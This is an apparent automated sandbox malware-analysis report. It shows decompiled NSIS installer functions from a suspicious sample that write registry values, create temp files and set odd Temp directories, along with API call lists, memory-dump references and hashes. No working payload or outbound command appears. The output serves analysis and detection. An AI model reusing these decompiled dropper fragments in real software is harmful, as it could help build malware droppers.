                                                                                                                0x706918de
                                                                                                                0x706918e8
                                                                                                                0x706918eb
                                                                                                                0x706918f0
                                                                                                                0x706918f7
                                                                                                                0x706918f7
                                                                                                                0x706918fd
                                                                                                                0x706918fe
                                                                                                                0x70691904
                                                                                                                0x7069190a
                                                                                                                0x70691917
                                                                                                                0x70691918
                                                                                                                0x7069191b
                                                                                                                0x706918af
                                                                                                                0x706918af
                                                                                                                0x706918b0
                                                                                                                0x706918c5
                                                                                                                0x706918c5
                                                                                                                0x70691929
                                                                                                                0x7069192c
                                                                                                                0x70691939
                                                                                                                0x70691940
                                                                                                                0x70691948
                                                                                                                0x7069194b
                                                                                                                0x7069194b
                                                                                                                0x70691948
                                                                                                                0x70691958
                                                                                                                0x70691960
                                                                                                                0x70691965
                                                                                                                0x70691958
                                                                                                                0x7069196d
                                                                                                                0x00000000
                                                                                                                0x7069196f
                                                                                                                0x00000000
                                                                                                                0x70691970
                                                                                                                0x7069196d
                                                                                                                0x7069187a
                                                                                                                0x7069187d
                                                                                                                0x7069189b
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069189e
                                                                                                                0x706918a3
                                                                                                                0x706918a3
                                                                                                                0x706918a5
                                                                                                                0x00000000
                                                                                                                0x706918a5
                                                                                                                0x7069187f
                                                                                                                0x70691880
                                                                                                                0x70691888
                                                                                                                0x70691889
                                                                                                                0x00000000
                                                                                                                0x70691889
                                                                                                                0x70691882
                                                                                                                0x70691883
                                                                                                                0x70691891
                                                                                                                0x00000000
                                                                                                                0x70691891
                                                                                                                0x70691886
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691886

                                                                                                                APIs
                                                                                                                  • Part of subcall function 70691BFF: GlobalFree.KERNEL32(?), ref: 70691E74
                                                                                                                  • Part of subcall function 70691BFF: GlobalFree.KERNEL32(?), ref: 70691E79
                                                                                                                  • Part of subcall function 70691BFF: GlobalFree.KERNEL32(?), ref: 70691E7E
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 706918C5
                                                                                                                • FreeLibrary.KERNEL32(?), ref: 7069194B
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 70691970
                                                                                                                  • Part of subcall function 7069243E: GlobalAlloc.KERNEL32(00000040,?), ref: 7069246F
                                                                                                                  • Part of subcall function 70692810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,70691896,00000000), ref: 706928E0
                                                                                                                  • Part of subcall function 70691666: wsprintfW.USER32 ref: 70691694
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Global$Free$Alloc$Librarywsprintf
                                                                                                                • String ID:
                                                                                                                • API String ID: 3962662361-3916222277
                                                                                                                • Opcode ID: 067401e821a671962ada3f1a3c91346fee6df1fbec387a003f3fdb9647f1a663
                                                                                                                • Instruction ID: cc7ceb6381ff8377ce77383f16500fb89240b7ed258063630c03c453cd227d76
                                                                                                                • Opcode Fuzzy Hash: 067401e821a671962ada3f1a3c91346fee6df1fbec387a003f3fdb9647f1a663
                                                                                                                • Instruction Fuzzy Hash: F641B2F28202059FCB019F20DDB9BDD37ACAB04354F24446EF906AEACADB749484D76C
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 1120 40248a-4024bb call 402da6 * 2 call 402e36 1127 4024c1-4024cb 1120->1127 1128 402c2a-402c39 1120->1128 1130 4024cd-4024da call 402da6 lstrlenW 1127->1130 1131 4024de-4024e1 1127->1131 1130->1131 1134 4024e3-4024f4 call 402d84 1131->1134 1135 4024f5-4024f8 1131->1135 1134->1135 1137 402509-40251d RegSetValueExW 1135->1137 1138 4024fa-402504 call 4032b4 1135->1138 1142 402522-402603 RegCloseKey 1137->1142 1143 40251f 1137->1143 1138->1137 1142->1128 1143->1142
                                                                                                                C-Code - Quality: 83%
                                                                                                                			E0040248A(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
                                                                                                                				void* _t20;
                                                                                                                				void* _t21;
                                                                                                                				int _t24;
                                                                                                                				long _t25;
                                                                                                                				int _t30;
                                                                                                                				intOrPtr _t33;
                                                                                                                				void* _t34;
                                                                                                                				intOrPtr _t37;
                                                                                                                				void* _t39;
                                                                                                                				void* _t42;
                                                                                                                
                                                                                                                				_t42 = __eflags;
                                                                                                                				_t33 = __edx;
                                                                                                                				_t30 = __ebx;
                                                                                                                				_t37 =  *((intOrPtr*)(_t39 - 0x20));
                                                                                                                				_t34 = __eax;
                                                                                                                				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
                                                                                                                				 *(_t39 - 0x44) = E00402DA6(2);
                                                                                                                				_t20 = E00402DA6(0x11);
                                                                                                                				 *(_t39 - 4) = 1;
                                                                                                                				_t21 = E00402E36(_t42, _t34, _t20, 2); // executed
                                                                                                                				 *(_t39 + 8) = _t21;
                                                                                                                				if(_t21 != __ebx) {
                                                                                                                					_t24 = 0;
                                                                                                                					if(_t37 == 1) {
                                                                                                                						E00402DA6(0x23);
                                                                                                                						_t24 = lstrlenW(0x40b5f0) + _t29 + 2;
                                                                                                                					}
                                                                                                                					if(_t37 == 4) {
                                                                                                                						 *0x40b5f0 = E00402D84(3);
                                                                                                                						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
                                                                                                                						_t24 = _t37;
                                                                                                                					}
                                                                                                                					if(_t37 == 3) {
                                                                                                                						_t24 = E004032B4( *((intOrPtr*)(_t39 - 0x24)), _t30, 0x40b5f0, 0x1800); // executed
                                                                                                                					}
                                                                                                                					_t25 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x40b5f0, _t24); // executed
                                                                                                                					if(_t25 == 0) {
                                                                                                                						 *(_t39 - 4) = _t30;
                                                                                                                					}
                                                                                                                					_push( *(_t39 + 8));
                                                                                                                					RegCloseKey(); // executed
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
                                                                                                                				return 0;
                                                                                                                			}













                                                                                                                0x0040248a
                                                                                                                0x0040248a
                                                                                                                0x0040248a
                                                                                                                0x0040248a
                                                                                                                0x0040248d
                                                                                                                0x00402494
                                                                                                                0x0040249e
                                                                                                                0x004024a1
                                                                                                                0x004024aa
                                                                                                                0x004024b1
                                                                                                                0x004024b8
                                                                                                                0x004024bb
                                                                                                                0x004024c1
                                                                                                                0x004024cb
                                                                                                                0x004024cf
                                                                                                                0x004024da
                                                                                                                0x004024da
                                                                                                                0x004024e1
                                                                                                                0x004024eb
                                                                                                                0x004024f1
                                                                                                                0x004024f4
                                                                                                                0x004024f4
                                                                                                                0x004024f8
                                                                                                                0x00402504
                                                                                                                0x00402504
                                                                                                                0x00402515
                                                                                                                0x0040251d
                                                                                                                0x0040251f
                                                                                                                0x0040251f
                                                                                                                0x00402522
                                                                                                                0x004025fd
                                                                                                                0x004025fd
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsu6C45.tmp,00000023,00000011,00000002), ref: 004024D5
                                                                                                                • RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsu6C45.tmp,00000000,00000011,00000002), ref: 00402515
                                                                                                                • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsu6C45.tmp,00000000,00000011,00000002), ref: 004025FD
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CloseValuelstrlen
                                                                                                                • String ID: C:\Users\user\AppData\Local\Temp\nsu6C45.tmp
                                                                                                                • API String ID: 2655323295-10482966
                                                                                                                • Opcode ID: c2e77ddd5f06e5ba6494e1e5615a57a5b42731a95510819d931e3bca28b8233c
                                                                                                                • Instruction ID: a32c4fc66ba480c3aafb49ec1434dbeb720bd0d2787204a1d049ba7b64bbfaa1
                                                                                                                • Opcode Fuzzy Hash: c2e77ddd5f06e5ba6494e1e5615a57a5b42731a95510819d931e3bca28b8233c
                                                                                                                • Instruction Fuzzy Hash: 8B118E71E00119BEEF10AFA5DE49EAEBAB8FF44358F15443AF504F61C1D7B88D40AA58
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 53%
                                                                                                                			E00405F14(void* __eflags, intOrPtr _a4) {
                                                                                                                				int _t11;
                                                                                                                				signed char* _t12;
                                                                                                                				long _t16;
                                                                                                                				intOrPtr _t18;
                                                                                                                				intOrPtr* _t21;
                                                                                                                				signed int _t23;
                                                                                                                
                                                                                                                				E0040653D(0x42fa70, _a4);
                                                                                                                				_t21 = E00405EB7(0x42fa70);
                                                                                                                				if(_t21 != 0) {
                                                                                                                					E004067C4(_t21);
                                                                                                                					if(( *0x434f18 & 0x00000080) == 0) {
                                                                                                                						L5:
                                                                                                                						_t23 = _t21 - 0x42fa70 >> 1;
                                                                                                                						while(1) {
                                                                                                                							_t11 = lstrlenW(0x42fa70);
                                                                                                                							_push(0x42fa70);
                                                                                                                							if(_t11 <= _t23) {
                                                                                                                								break;
                                                                                                                							}
                                                                                                                							_t12 = E00406873();
                                                                                                                							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
                                                                                                                								E00405E58(0x42fa70);
                                                                                                                								continue;
                                                                                                                							} else {
                                                                                                                								goto L1;
                                                                                                                							}
                                                                                                                						}
                                                                                                                						E00405E0C();
                                                                                                                						_t16 = GetFileAttributesW(??); // executed
                                                                                                                						return 0 | _t16 != 0xffffffff;
                                                                                                                					}
                                                                                                                					_t18 =  *_t21;
                                                                                                                					if(_t18 == 0 || _t18 == 0x5c) {
                                                                                                                						goto L1;
                                                                                                                					} else {
                                                                                                                						goto L5;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				L1:
                                                                                                                				return 0;
                                                                                                                			}









                                                                                                                0x00405f20
                                                                                                                0x00405f2b
                                                                                                                0x00405f2f
                                                                                                                0x00405f36
                                                                                                                0x00405f42
                                                                                                                0x00405f52
                                                                                                                0x00405f54
                                                                                                                0x00405f6c
                                                                                                                0x00405f6d
                                                                                                                0x00405f74
                                                                                                                0x00405f75
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405f58
                                                                                                                0x00405f5f
                                                                                                                0x00405f67
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405f5f
                                                                                                                0x00405f77
                                                                                                                0x00405f7d
                                                                                                                0x00000000
                                                                                                                0x00405f8b
                                                                                                                0x00405f44
                                                                                                                0x00405f4a
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405f4a
                                                                                                                0x00405f31
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                  • Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A
                                                                                                                  • Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70, 4Wv,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
                                                                                                                  • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
                                                                                                                  • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2
                                                                                                                • lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70, 4Wv,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405F6D
                                                                                                                • GetFileAttributesW.KERNELBASE(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wv,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76573420,C:\Users\user\AppData\Local\Temp\), ref: 00405F7D
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                                                                                • String ID: 4Wv$C:\Users\user\AppData\Local\Temp\
                                                                                                                • API String ID: 3248276644-3637327172
                                                                                                                • Opcode ID: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
                                                                                                                • Instruction ID: e20fb510edeaf32ba19235dad054e15b0ffac27cf679254cac4fdbc394554759
                                                                                                                • Opcode Fuzzy Hash: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
                                                                                                                • Instruction Fuzzy Hash: E3F0F426119D6226DB22333A5C05EAF0554CE9276475A023BF895B12C5DB3C8A43D8AE
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E0040605C(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
                                                                                                                				intOrPtr _v8;
                                                                                                                				short _v12;
                                                                                                                				short _t12;
                                                                                                                				intOrPtr _t13;
                                                                                                                				signed int _t14;
                                                                                                                				WCHAR* _t17;
                                                                                                                				signed int _t19;
                                                                                                                				signed short _t23;
                                                                                                                				WCHAR* _t26;
                                                                                                                
                                                                                                                				_t26 = _a4;
                                                                                                                				_t23 = 0x64;
                                                                                                                				while(1) {
                                                                                                                					_t12 =  *L"nsa"; // 0x73006e
                                                                                                                					_t23 = _t23 - 1;
                                                                                                                					_v12 = _t12;
                                                                                                                					_t13 =  *0x40a57c; // 0x61
                                                                                                                					_v8 = _t13;
                                                                                                                					_t14 = GetTickCount();
                                                                                                                					_t19 = 0x1a;
                                                                                                                					_v8 = _v8 + _t14 % _t19;
                                                                                                                					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
                                                                                                                					if(_t17 != 0) {
                                                                                                                						break;
                                                                                                                					}
                                                                                                                					if(_t23 != 0) {
                                                                                                                						continue;
                                                                                                                					} else {
                                                                                                                						 *_t26 =  *_t26 & _t23;
                                                                                                                					}
                                                                                                                					L4:
                                                                                                                					return _t17;
                                                                                                                				}
                                                                                                                				_t17 = _t26;
                                                                                                                				goto L4;
                                                                                                                			}












                                                                                                                0x00406062
                                                                                                                0x00406068
                                                                                                                0x00406069
                                                                                                                0x00406069
                                                                                                                0x0040606e
                                                                                                                0x0040606f
                                                                                                                0x00406072
                                                                                                                0x00406077
                                                                                                                0x0040607a
                                                                                                                0x00406084
                                                                                                                0x00406091
                                                                                                                0x00406095
                                                                                                                0x0040609d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004060a1
                                                                                                                0x00000000
                                                                                                                0x004060a3
                                                                                                                0x004060a3
                                                                                                                0x004060a3
                                                                                                                0x004060a6
                                                                                                                0x004060a9
                                                                                                                0x004060a9
                                                                                                                0x004060ac
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • GetTickCount.KERNEL32 ref: 0040607A
                                                                                                                • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040352B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406095
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CountFileNameTempTick
                                                                                                                • String ID: C:\Users\user\AppData\Local\Temp\$nsa
                                                                                                                • API String ID: 1716503409-944333549
                                                                                                                • Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
                                                                                                                • Instruction ID: cc98cbd97bba9fac9576f26979179aa346a2ab2dc3c85b14509754d74f2b81c3
                                                                                                                • Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
                                                                                                                • Instruction Fuzzy Hash: CEF09076B40204FBEB00CF69ED05E9EB7BCEB95750F11803AFA05F7140E6B499648768
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                APIs
                                                                                                                • EnumWindows.USER32(?,?,?), ref: 02BA8A1C
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID: EnumWindows
                                                                                                                • String ID: A$^
                                                                                                                • API String ID: 1129996299-4079133616
                                                                                                                • Opcode ID: 3eb8de32991646f97d04a4cede8f29806ab73ad8956a6a47791cba782b9ebe7b
                                                                                                                • Instruction ID: 6eaaaae54e8f54e839fb03688e85190fa8bed3a7087f44fdb5dd9ed619a9592f
                                                                                                                • Opcode Fuzzy Hash: 3eb8de32991646f97d04a4cede8f29806ab73ad8956a6a47791cba782b9ebe7b
                                                                                                                • Instruction Fuzzy Hash: 242197315093999FC31ADF38CC88BDA7FA5AF03318F59089CD2808A462C7350989CB41
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 86%
                                                                                                                			E004015C1(short __ebx, void* __eflags) {
                                                                                                                				void* _t17;
                                                                                                                				int _t23;
                                                                                                                				void* _t25;
                                                                                                                				signed char _t26;
                                                                                                                				short _t28;
                                                                                                                				short _t31;
                                                                                                                				short* _t34;
                                                                                                                				void* _t36;
                                                                                                                
                                                                                                                				_t28 = __ebx;
                                                                                                                				 *(_t36 + 8) = E00402DA6(0xfffffff0);
                                                                                                                				_t17 = E00405EB7(_t16);
                                                                                                                				_t32 = _t17;
                                                                                                                				if(_t17 != __ebx) {
                                                                                                                					do {
                                                                                                                						_t34 = E00405E39(_t32, 0x5c);
                                                                                                                						_t31 =  *_t34;
                                                                                                                						 *_t34 = _t28;
                                                                                                                						if(_t31 != _t28) {
                                                                                                                							L5:
                                                                                                                							_t25 = E00405AEB( *(_t36 + 8));
                                                                                                                						} else {
                                                                                                                							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
                                                                                                                							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405B08(_t42) == 0) {
                                                                                                                								goto L5;
                                                                                                                							} else {
                                                                                                                								_t25 = E00405A6E( *(_t36 + 8)); // executed
                                                                                                                							}
                                                                                                                						}
                                                                                                                						if(_t25 != _t28) {
                                                                                                                							if(_t25 != 0xb7) {
                                                                                                                								L9:
                                                                                                                								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                                                                                                							} else {
                                                                                                                								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
                                                                                                                								if((_t26 & 0x00000010) == 0) {
                                                                                                                									goto L9;
                                                                                                                								}
                                                                                                                							}
                                                                                                                						}
                                                                                                                						 *_t34 = _t31;
                                                                                                                						_t32 = _t34 + 2;
                                                                                                                					} while (_t31 != _t28);
                                                                                                                				}
                                                                                                                				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
                                                                                                                					_push(0xfffffff5);
                                                                                                                					E00401423();
                                                                                                                				} else {
                                                                                                                					E00401423(0xffffffe6);
                                                                                                                					E0040653D(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes\\digestedness\\Befarnes",  *(_t36 + 8));
                                                                                                                					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
                                                                                                                					if(_t23 == 0) {
                                                                                                                						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t36 - 4));
                                                                                                                				return 0;
                                                                                                                			}











                                                                                                                0x004015c1
                                                                                                                0x004015c9
                                                                                                                0x004015cc
                                                                                                                0x004015d1
                                                                                                                0x004015d5
                                                                                                                0x004015d7
                                                                                                                0x004015df
                                                                                                                0x004015e1
                                                                                                                0x004015e4
                                                                                                                0x004015ea
                                                                                                                0x00401604
                                                                                                                0x00401607
                                                                                                                0x004015ec
                                                                                                                0x004015ec
                                                                                                                0x004015ef
                                                                                                                0x00000000
                                                                                                                0x004015fa
                                                                                                                0x004015fd
                                                                                                                0x004015fd
                                                                                                                0x004015ef
                                                                                                                0x0040160e
                                                                                                                0x00401615
                                                                                                                0x00401624
                                                                                                                0x00401624
                                                                                                                0x00401617
                                                                                                                0x0040161a
                                                                                                                0x00401622
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00401622
                                                                                                                0x00401615
                                                                                                                0x00401627
                                                                                                                0x0040162b
                                                                                                                0x0040162c
                                                                                                                0x004015d7
                                                                                                                0x00401634
                                                                                                                0x00401663
                                                                                                                0x004022f1
                                                                                                                0x00401636
                                                                                                                0x00401638
                                                                                                                0x00401645
                                                                                                                0x0040164d
                                                                                                                0x00401655
                                                                                                                0x0040165b
                                                                                                                0x0040165b
                                                                                                                0x00401655
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                  • Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70, 4Wv,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
                                                                                                                  • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
                                                                                                                  • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2
                                                                                                                • GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A
                                                                                                                  • Part of subcall function 00405A6E: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1
                                                                                                                • SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes\digestedness\Befarnes,?,00000000,000000F0), ref: 0040164D
                                                                                                                Strings
                                                                                                                • C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes\digestedness\Befarnes, xrefs: 00401640
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
